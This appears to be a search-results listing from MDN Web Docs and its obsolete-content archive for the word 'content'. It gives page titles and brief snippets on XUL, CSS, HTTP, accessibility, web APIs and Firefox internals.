contents, you can do so like this: cell = document.createelement("listcell"); cell.setattribute("label", "this is the cell's label"); cell.setattribute("style", "text-align:right"); related elements listbox, listcol, listcols, listhead, listheader, listitem ...
resizer - Archive of obsolete content
<vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="
content-primary"/> <resizer dir="bottom" height="2" style="background-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="background-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor: se-resize;"/> </vbox> </hbox> </wi...
scrollbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] when a container's
contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll around in the container.
tabbox - Archive of obsolete content
the tabbox should contain two children, the first a tabs element which contains the tabs and the second a tabpanels element which contains the
contents of the pages.
tabs - Archive of obsolete content
for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
Building XULRunner with Python - Archive of obsolete content
the jsconsole can also be open and used from code, for example (in javascript) function openjavascriptconsole() { var wwatch = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); wwatch.openwindow(null, "chrome://global/
content/console.xul", "_blank", "chrome,dialog=no,all", null); } // dump to the js console (xulrunner -jsconsole) function jsdump(str) { components.classes['@mozilla.org/consoleservice;1'] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage(str); } function jserror(str) { components.utils.reporterror(str); } a final tip is to use t...
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.defaultchromeuri", "chrome://myapp/
content/"); the toolkit.defaultchromeuri preference allows simple xulrunner-based applications to open a new window when the application is launched.
xulauncher - Archive of obsolete content
dir -p $xuldir mkdir -p $xulprefdir # create application.ini file ############################################################################## echo " [app] vendor=xulauncher.sh name=$xulname version=0.0.1 buildid=`date +%y%m%d` [gecko] minversion=1.8 maxversion=1.9 ">$xulappini # create chrome.manifest file ############################################################################## echo "
content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/
content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"ngl...
2006-11-24 - Archive of obsolete content
is to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.text
content creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized
content prevents from restoring values for the persistent attributes.
NP_GetMIMEDescription - Archive of obsolete content
#include <gio/gio.h> const char* desc = g_
content_type_get_description("audio/ogg"); javascript inside a web page, you can retrieve these informations with this code: var mimetype = navigator.mimetypes['application/basic-example-plugin']; if (mimetype) { alert(mimetype.type + ':' + mimetype.suffixes + ':' + mimetype.description); } ...
Module - Archive of obsolete content
name common prefix status release date author atomic rss atom july 27, 2005 tim bray blogchannel september 17, 2002 dave winer
content content creativecommons cc december 16, 2002 dave winer dublin core dc slash slash well-formed web wfw joe gregorio and chris sells ...
Digital Signatures - Archive of obsolete content
the
content of the hashed data cannot, for all practical purposes, be deduced from the hash-which is why it is called "one-way." similarly, in public key encryption, a key pair is generated for digital signing.
Creating a Skin for Firefox - Archive of obsolete content
contents getting started original document information author(s): neil marshall and tucker lee other contributors: brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, david james, dan mauch, anders conbere, tim regula (http://www.igraphics.nn.cx) copyright information: copyright 2002-2003 neil marshall, permission given to mdc to migrate into the wiki ap...
Themes - Archive of obsolete content
building a themecommon firefox theme issues and solutionscreating a skin for firefoxuuid
contents.rdfinstall.rdfmaking sure your theme works with rtl localestheme changes in firefox 2theme changes in firefox 3theme changes in firefox 3.5theme changes in firefox 4 ...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
we need to add lines to the manifest for thunderbird and sunbird, like this: # thunderbird overlay chrome://messenger/
content/messenger.xul chrome://stockwatcher2/
content/stockwatcher2.xul # sunbird overlay chrome://calendar/
content/calendar.xul chrome://stockwatcher2/
content/stockwatcher2.xul these lines cause the main thunderbird message list window and the main window in sunbird to be the target of the overlays we apply in the stockwatcher2.xul file.
Using workers in extensions - Archive of obsolete content
efs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("stockwatcher2."); this.prefs.queryinterface(components.interfaces.nsiprefbranch2); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.worker = new worker("chrome://stockwatcher2/
content/ticker_worker.js"); // small little dance to get 'this' to refer to stockwatcher, not the // worker, when a message is received.
-moz-binding - Archive of obsolete content
formal definition initial valuenoneapplies toall elements except generated
content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <url> | none examples .exampleone { -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
-ms-flow-from - Archive of obsolete content
the -ms-flow-from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the
content flow from the data source.
-ms-scroll-chaining - Archive of obsolete content
.imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-
content-zooming: zoom; -ms-scroll-rails: none; -ms-
content-zoom-limit-min: 100%; -ms-
content-zoom-limit-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
-ms-scroll-rails - Archive of obsolete content
initial valuerailedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the
content moves exactly with the user's finger.
-ms-scroll-snap-points-x - Archive of obsolete content
(the -ms-scroll-snap-points-x property behaves identically to the -ms-scroll-snap-points-y property, but along the x-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-x: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-
content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-x-min: 100%; -ms-scroll-limit-x-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
-ms-scroll-snap-points-y - Archive of obsolete content
(the -ms-scroll-snap-points-y property behaves identically to the -ms-scroll-snap-points-x property, but along the y-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-
content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-y-min: 100%; -ms-scroll-limit-y-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-y: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
Index - Web APIs
a range is an object that indicates the start and end points of a section of
content within the document.
...the
content of the blob consists of the concatenation of the values given in the parameter array.
... 288 blob.arraybuffer() api, arraybuffer, blob, file api, method, reference, binary, read the arraybuffer() method in the blob interface returns a promise that resolves with the
contents of the blob as binary data contained in an arraybuffer.
...And 262 more matches
Index
this is useful for privileged code, such as add-on code, to access variables and apis defined in web
content.
... 37 components.utils.forcegc needs
content, xpcom, xpcom:language bindings, xpconnect components.utils.forcegc lets scripts force a garbage collection cycle.
... 40 components.utils.import needs
content, xpcom:language bindings, xpconnect components.utils.import was introduced in firefox 3 and is used for sharing code between different scopes easily.
...And 172 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
4 alpn alpn, draft, glossary, needs
content, tls application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips.
... 9 atag atag, accessibility, authoring tool accessibility guidelines, glossary atag (authoring tool accessibility guidelines) is a w3c recommendation for building accessible-authoring tools that produce accessible
contents.
... 13 adobe flash adobe, codingscripting, flash, glossary, infrastructure flash is an obsolescent technology developed by adobe for viewing expressive web applications, multimedia
content, and streaming media.
...And 82 more matches
HTML documentation index - HTML: Hypertext Markup Language
it defines the meaning and structure of web
content.
... 11
contenteditable editing, global attributes, html, reference, text editing,
contenteditable, text entry, text input the
contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user.
... 16 dropzone deprecated, global attributes, html, reference the dropzone global attribute is an enumerated attribute indicating what types of
content can be dropped on an element, using the html drag and drop api.
...And 80 more matches
HTTP Index - HTTP
6 data urls base64, guide, http, intermediate, url data urls, urls prefixed with the data: scheme, allow
content creators to embed small files inline in documents.
... 9 mime types (iana media types)
content-type, guide, http, mime types, meta, request header, response header, application/javascript, application/json, application/xml a media type (also known as a multipurpose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes.
... 16
content security policy (csp) csp,
content security policy, reference, security
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...And 79 more matches
Accessibility documentation index - Accessibility
2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web
content and web applications (especially those developed with javascript) more accessible to people with disabilities.
...aria live regions fill this gap and provide a way to programmatically expose dynamic
content changes in a way that can be announced by assistive technologies.
... 11 multipart labels: using aria for labels with embedded fields inside them aria, accessibility, ben millard, firefox, guide, help, html, html 4, jaws, needs
content, aria-labelledby, label, solution, trouble shoot, troubleshoot the solution is in an aria attribute called aria-labelledby.
...And 52 more matches
Index - HTTP
2 accept http, http header, reference, request header the accept request http header advertises which
content types, expressed as mime types, the client is able to understand.
... using
content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the
content-type response header.
... 3 accept-charset
content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is able to understand.
...And 52 more matches
nsIDOMWindowUtils
tring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccountscriptsummary(in long ascript); astring getpccountscript
contents(in long ascript); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loadsheet(in nsiuri sheeturi, in unsigned long type); nsidom...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void send
contentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, ...
...eltax, in long alineorpagedeltay, in unsigned long aoptions); void sendnativekeyevent(in long anativekeyboardlayout, in long anativekeycode, in long amodifierflags, in astring acharacters, in astring aunmodifiedcharacters); void sendnativemouseevent(in long ascreenx, in long ascreeny, in long anativemessage, in long amodifierflags, in nsidomelement aelement); nsiquery
contenteventresult sendquery
contentevent(in unsigned long atype, in unsigned long aoffset, in unsigned long alength, in long ax, in long ay); obsolete since gecko 31.0 nsiquery
contenteventresult sendquery
contentevent(in unsigned long atype, in unsigned long aoffset, in unsigned long alength, in long ax, in long ay, [optional] in unsigned long aadditionalflags); boolean sendselectionse...
...And 49 more matches
IME handling guide
mozilla::ime
contentobserver ime
contentobserver observes various changes of a focused editor.
...therefore, ime
contentobserver only stores which notification should be sent to widget and/or ime.
... then, mozilla::ime
contentobserver::imenotificationsender tries to send the pending notifications when it might become safe to do that.
...And 41 more matches
SVG documentation index - SVG: Scalable Vector Graphics
# page tags and summary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html
content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html
content.
... 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4
content type needstechnicalreview, svg, types, data types svg makes use of a number of data types.
...it is important to understand the concept of namespaces and how they are used if you plan to author svg
content.
...And 37 more matches
HTML elements reference - HTML: Hypertext Markup Language
sectioning root element description <body> the html <body> element represents the
content of an html document.
...
content sectioning
content sectioning elements allow you to organize the document
content into logical pieces.
... use the sectioning elements to create a broad outline for your page
content, including header and footer navigation, and heading elements to identify sections of
content.
...And 36 more matches
From object to iframe — other embedding technologies - Learn web development
at this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of
content types into your webpages: the <iframe>, <embed> and <object> elements.
... a little while later (late 90s, early 2000s), plugin technologies became very popular, such as java applets and flash — these allowed web developers to embed rich
content into webpages such as videos and animations, which just weren't available through html alone.
... finally, the <iframe> element appeared (along with other ways of embedding
content, such as <canvas>, <video>, etc.) this provides a way to embed an entire web document inside another one, as if it were an <img> or other such element, and is used regularly today.
...And 35 more matches
Cognitive accessibility - Accessibility
these problems include difficulty with understanding
content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional web page layouts.
...cognitive skills include: attention memory processing speed time management letters and language numbers symbols and math understanding and making choices a solid approach to providing accessible solutions for people with cognitive impairments includes: delivering
content in more than one way, such as by text-to-speech or by video; providing easily-understood
content, such as text written using plain-language standards; focusing attention on important
content; minimizing distractions, such as unnecessary
content or advertisements; providing consistent web page layout and navigation; incorporating familiar elements, such as underlined links that are blue when ...
... wcag guidelines wcag, web
content accessibility guidelines, includes several guidelines to improve cognitive accessibility.
...And 35 more matches
Perceivable - Accessibility
this article provides practical advice on how to write your web
content so that it conforms to the success criteria outlined in the perceivable principle of the web
content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 1.1 — providing text alternatives for non-text
content the key here is that text can be converted to other forms that people with disabilities can use.
...non-text
content refers to multimedia such as images, audio, and video.
...And 34 more matches
Key Values - Web APIs
moves to the end of
content.
...moves to the start of
content.
...scrolls down or displays the next page of
content.
...And 33 more matches
HTML: A good basis for accessibility - Learn web development
previous overview: accessibility next a great deal of web
content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... sometimes you are not in the position to get rid of lousy markup — your pages might be generated by some kind of server-side framework over which you don't have full control, or you might have third party
content on your page (such as ad banners) over which you have no control.
... text
content one of the best accessibility aids a screen reader user can have is an excellent
content structure with headings, paragraphs, lists, etc.
...And 30 more matches
HTML: A good basis for accessibility - Learn web development
previous overview: accessibility next a great deal of web
content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
... sometimes you are not in the position to get rid of lousy markup — your pages might be generated by some kind of server-side framework over which you don't have full control, or you might have third party
content on your page (such as ad banners) over which you have no control.
... text
content one of the best accessibility aids a screen reader user can have is an excellent
content structure with headings, paragraphs, lists, etc.
...And 30 more matches
Index - Learn web development
3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia
content, along with some practical solutions.
...this article provides a basic guide to publishing
content using github's gh-pages feature.
... accessibility, beginner, html, learn, needs
content the following
content describes specific features of html that can be used to make a web page more accessible to people with different disabilities.
...And 30 more matches
Handling common accessibility problems - Learn web development
people with hearing impairments relying on captions/subtitles or other text alternatives for audio/video
content.
... note: like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all
content, especially as sites get more complex.
... instead, it is more about making a reasonable effort to make as much of your
content accessible to as many people as possible via defensive coding and sticking to best practices.
...And 29 more matches
Chrome registration
chrome is the set of user interface elements of the application window that are outside the window's
content area.
...the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text,
content, and appearance of the window itself.
... there are three basic types of chrome providers:
content the main source file for a window description comes from the
content provider, and it can be any file type viewable from within mozilla.
...And 28 more matches
Limitations of chrome scripts
the fix is generally some variant of "do that in a frame script loaded into the
content process".
...for example: whenever extensions try to access web
content from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the
content.
...for each pattern we've noted: whether a shim exists and what kind of behavior it provides how to update your add-on so you don't need the shim gbrowser.
contentwindow, window.
content...
...And 28 more matches
nsIDocShell
method overview void addsessionstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsi
contentviewer viewer, in boolean top); void createaboutblank
contentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean isunload); native code only!
... boolean isbeingdestroyed(); void loadstream(in nsiinputstream astream, in nsiuri auri, in acstring a
contenttype, in acstring a
contentcharset, in nsidocshellloadinfo aloadinfo); native code only!
... void preparefornew
contentmodel(); void resumerefreshuris(); void setchildoffset(in unsigned long offset); native code only!
...And 28 more matches
Gecko info for Windows accessibility vendors
gecko is the internal engine that mozilla uses to render any kind of web
content.
... dom: document object model this is the w3c's specification for how web
content is exposed to javascript and other languages.
... it covers
content, style and events.
...And 27 more matches
WebIDL bindings
returning null from getparentobject is allowed in situations in which it's ok to associate the resulting object with a random global object for security purposes; this is not usually ok for things that are exposed to web
content.
... utf8string utf8string is a string with guaranteed-valid utf-8
contents.
...from the point of view of web
content, it's as if the interface member were not there at all.
...And 27 more matches
Accessibility API cross-reference
aria abstract roles should not be used by
content authors.
... alert alert alert alert, alertdialog
content changes over time, such as animated gif animation n/a no spec n/a a section that forms an independent part of a document, page, or site.
...aria role denotes interactive (not browsable)
content operable in ways that differ from any of the other interactive aria roles, and may be only a part of the main document.
...And 24 more matches
Practical positioning examples - Learn web development
in addition, so-called "single page apps" are becoming very popular — especially for mobile web uis — because having everything served as a single file cuts down on the number of http requests required to view all the
content, thereby improving performance.
...but the
content isn't very exciting all the same.</p> </article> <article> <h2>the third tab</h2> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...the unordered list contains three list items with links inside, which will become the actual tabs to click on for displaying our
content panels.
...And 23 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more
content processes, also called child processes.
... these processes run web
content.
... at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the
content process.
...And 23 more matches
nsIXULTemplateBuilder
templates may generate
content recursively, using the same template, but with the previous iteration's results as the reference point.
...different template builders may be specialized in the manner in which they generate and display the resulting
content from the template.
...the
contents of the query are processed by a separate component called a query processor.
...And 23 more matches
Using the Screen Capture API - Web APIs
capturing screen
contents capturing screen
contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen
contents.
... visible vs logical display surfaces for the purposes of the screen capture api, a display surface is any
content object that can be selected by the api for sharing purposes.
... sharing surfaces include the
contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).
...And 23 more matches
Document and website structure - Learn web development
previous overview: introduction to html next in addition to defining individual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main
content column").
...like the header, this
content usually remains consistent from one webpage to another — having inconsistent navigation on your website will just lead to confused, frustrated users.
... main
content: a big area in the center that contains most of the unique
content of a given webpage, for example, the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc.
...And 22 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html
content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup.
... let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the
contents of the <head> element — unlike the
contents of the <body> element (which are displayed on the page when loaded in a browser), the head's
content is not displayed on the page.
...try going to some of your favorite websites and use the developer tools to check out their head
contents.
...And 21 more matches
Cross Process Object Wrappers
this document describes cross process object wrappers (cpows), which enable chrome code to synchronously access
content in multiprocess firefox.
... in multiprocess firefox, chrome code runs in a different process from web
content.
... so chrome code can't directly interact with web
content: instead, it must factor out the code that interacts with web
content into separate scripts that are called frame scripts.
...And 21 more matches
Finishing the Component
the interface that we need for this project is something called nsi
contentpolicy.
...copy the headers and idl files that you need from the
content/base/public source directory of the gecko build into this new directory.
... (for weblock, all you need are the headers for nsi
contentpolicy and the nsi
contentpolicy.idl.) then, using the same steps you used to create the weblock.h, create a header from this idl file using the xpidl compiler.
...And 21 more matches
Timing element visibility with the Intersection Observer API - Web APIs
in this article, we'll build a mock blog which has a number of ads interspersed among the
contents of the page, then use the intersection observer api to track how much time each ad is visible to the user.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-
content, 1fr); grid-template-rows: auto minmax(min-
content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color.
... then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body
content (articles and ads).
...And 21 more matches
WAI-ARIA basics - Learn web development
previous overview: accessibility next following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated
content can be difficult.
... dynamic
content updates: screenreaders tend to have difficulty with reporting constantly changing
content; with aria we can use aria-live to inform screenreader users when an area of
content is updated, e.g.
... <input type="search" name="q" placeholder="search query" aria-label="search through site
content"> now if we use voiceover to look at this example, we get some improvements: the search form is called out as a separate item, both when browsing through the page, and in the landmarks menu.
...And 20 more matches
Working with Svelte stores - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/06-stores or directly download the folder's
content: npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install && npm run dev to start your app in development mode.
... give it the following
content: import { writable } from 'svelte/store' export const alert = writable('welcome to the to-do list app!') note: stores can be defined and used outside of svelte components, so you can organize them in any way you please.
... give it the following
content: <script> import { alert } from '../stores.js' import { ondestroy } from 'svelte' let alert
content = '' const unsubscribe = alert.subscribe(value => alert
content = value) ondestroy(unsubscribe) </script> {#if alert
content} <div on:click={() => alert
content = ''}> <p>{ alert
content }</p> </div> {/if} <style> div { position: fixed; cursor: pointer; margin-right: 1.5rem; ...
...And 20 more matches
Operable - Accessibility
this article provides practical advice on how to write your web
content so that it conforms to the success criteria outlined in the operable principle of the web
content accessibility guidelines (wcag) 2.0 and 2.1.
...for example, if you press enter/return on a focused button to open an options window, you should be able to close that window again and return to the main
content using the keyboard.
... guideline 2.2 — enough time: provide users enough time to read and use
content this guideline covers situations in which functionality may have a time limit.
...And 20 more matches
Browser API
browser api concepts and usage the browser api consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded
content.
... api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded
content's state, interited by the htmliframeelement interface.
... htmliframeelement.reload() allows reloading of the <iframe> element
content.
...And 19 more matches
Index
13 jit optimization outcomes beginner, firefox, intro, needs
content, spidermonkey spidermonkey's optimizing jit, ionmonkey, uses different optimization strategies to speed up various operations.
... 17 jsapi reference needs
content, spidermonkey js::deflatestringtoutf8buffer 18 boolean_to_jsval jsapi reference, obsolete, spidermonkey boolean_to_jsval converts a bool argument, b, to a boolean jsval.
... 22 js::add*root jsapi reference, needs
content, obsolete, reference, référence(2), spidermonkey these functions are obsoleted, use js::persistentrooted instead.
...And 19 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
we use justify-
content to align the item on the main axis, which in this case the inline axis running horizontally.
... justify-
content — controls alignment of all items on the main axis.
... align-
content — described in the spec as for “packing flex lines”; controls space between flex lines on the cross axis.
...And 19 more matches
Event reference
canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
... canplaythrough the browser estimates it can play the media up to its end without stopping for
content buffering.
...nge sms and ussd events delivered received sent ussdreceived frame events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserlocationchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange dom mutation events domattributenamechanged domattrmodified domcharacterdatamodified dom
contentloaded domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified touch events touchcancel touchend touchmove touchstart pointer events pointerover pointerenter pointerdown pointermove pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercapture standard events these events are defined in official web...
...And 19 more matches
CSS and JavaScript accessibility best practices - Learn web development
this article outlines some css and javascript best practices that should be considered to ensure even complex
content is as accessible as possible.
... as an example, a screen reader user can't navigate a page via heading elements if the developer hasn't appropriately used heading elements to markup the
content.
... "standard" text
content structure headings, paragraphs, lists — the core text
content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc.
...And 18 more matches
What is JavaScript? - Learn web development
a high-level definition javascript is a scripting or programming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely
content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, etc.
... html is the markup language that we use to structure and give meaning to our web
content, for example defining paragraphs, headings, and data tables, or embedding images and videos in the page.
... css is a language of style rules that we use to apply styling to our html
content, for example setting background colors and fonts, and laying out our
content in multiple columns.
...And 18 more matches
Properly configuring server MIME types - Learn web development
background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown
content types.
... as new
content types are invented or added to web servers, web administrators may fail to add the new mime types to their web server's configuration.
... mime types describe the media type of
content either in email or served by web servers or web applications and are intended to help guide a web browser in how the
content is to be processed and displayed.
...And 18 more matches
Mozilla’s UAAG evaluation report
software that renders web
content.
...ensure user access to all
content.
... checkpoint title status notes/plans checkpoint title status notes/plans 2.1 render
content according to specification.
...And 18 more matches
Web Replay
learn more web replay allows firefox
content processes to record their behavior, replay it later, and rewind to earlier states.
... recording a recording
content process differs from a normal
content process in the following ways: calls to certain functions are intercepted by hooking them (rewriting the machine code at their entry points to call a different function with the same signature), including the function used to dispatch mach messages.
... graphics rendering is entirely local to the
content process.
...And 18 more matches
Using XMLHttpRequest - Web APIs
analyzing and manipulating the responsexml property if you use xmlhttprequest to get the
content of a remote xml document, the responsexml property will be a dom object containing a parsed xml document.
... regexp can be used if you always know the
content of the xml document beforehand.
... processing a responsetext property containing an html document if you use xmlhttprequest to get the
content of a remote html webpage, the responsetext property is a string containing the raw html.
...And 18 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
a responsive layout with 1 to 3 fluid columns using grid-template-areas many websites are a variation of this type of layout, with
content, sidebars, a header and a footer.
... my mark-up is a container with elements inside for a header, footer, main
content, navigation, sidebar, and a block into which i am intending to place advertising.
...v ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> <li><a href="">nav 3</a></li> </ul> </nav> <article class="
content"> <h1>main article area</h1> <p>in this layout, we display the areas in source order for any screen less that 500 pixels wide.
...And 18 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
llowed methods: get head post apart from the headers automatically set by the user agent (for example, connection, user-agent, or the other headers defined in the fetch spec as a “forbidden header name”), the only headers which are allowed to be manually set are those which the fetch spec defines as a “cors-safelisted request-header”, which are: accept accept-language
content-language
content-type (but note the additional requirements below) dpr downlink save-data viewport-width width the only allowed values for the
content-type header are: application/x-www-form-urlencoded multipart/form-data text/plain no event listeners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.up...
... note: these are the same kinds of cross-site requests that web
content can already issue, and no response data is released to the requester unless the server sends an appropriate header.
... note: webkit nightly and safari technology preview place additional restrictions on the values allowed in the accept, accept-language, and
content-language headers.
...And 18 more matches
UI pseudo-classes - Learn web development
in the next section, we'll look at a better example of indicating required fields using :required, which also digs into using generated
content.
... using generated
content with pseudo-classes in previous articles, we've seen the usage of generated
content, but we thought now would be a good time to talk about it in a bit more detail.
... the idea is that we can use the ::before and ::after pseudo-elements along with the
content property to make a chunk of
content appear before or after the affected element.
...And 17 more matches
Getting started with HTML - Learn web development
html consists of a series of elements, which you use to enclose, wrap, or mark up different parts of
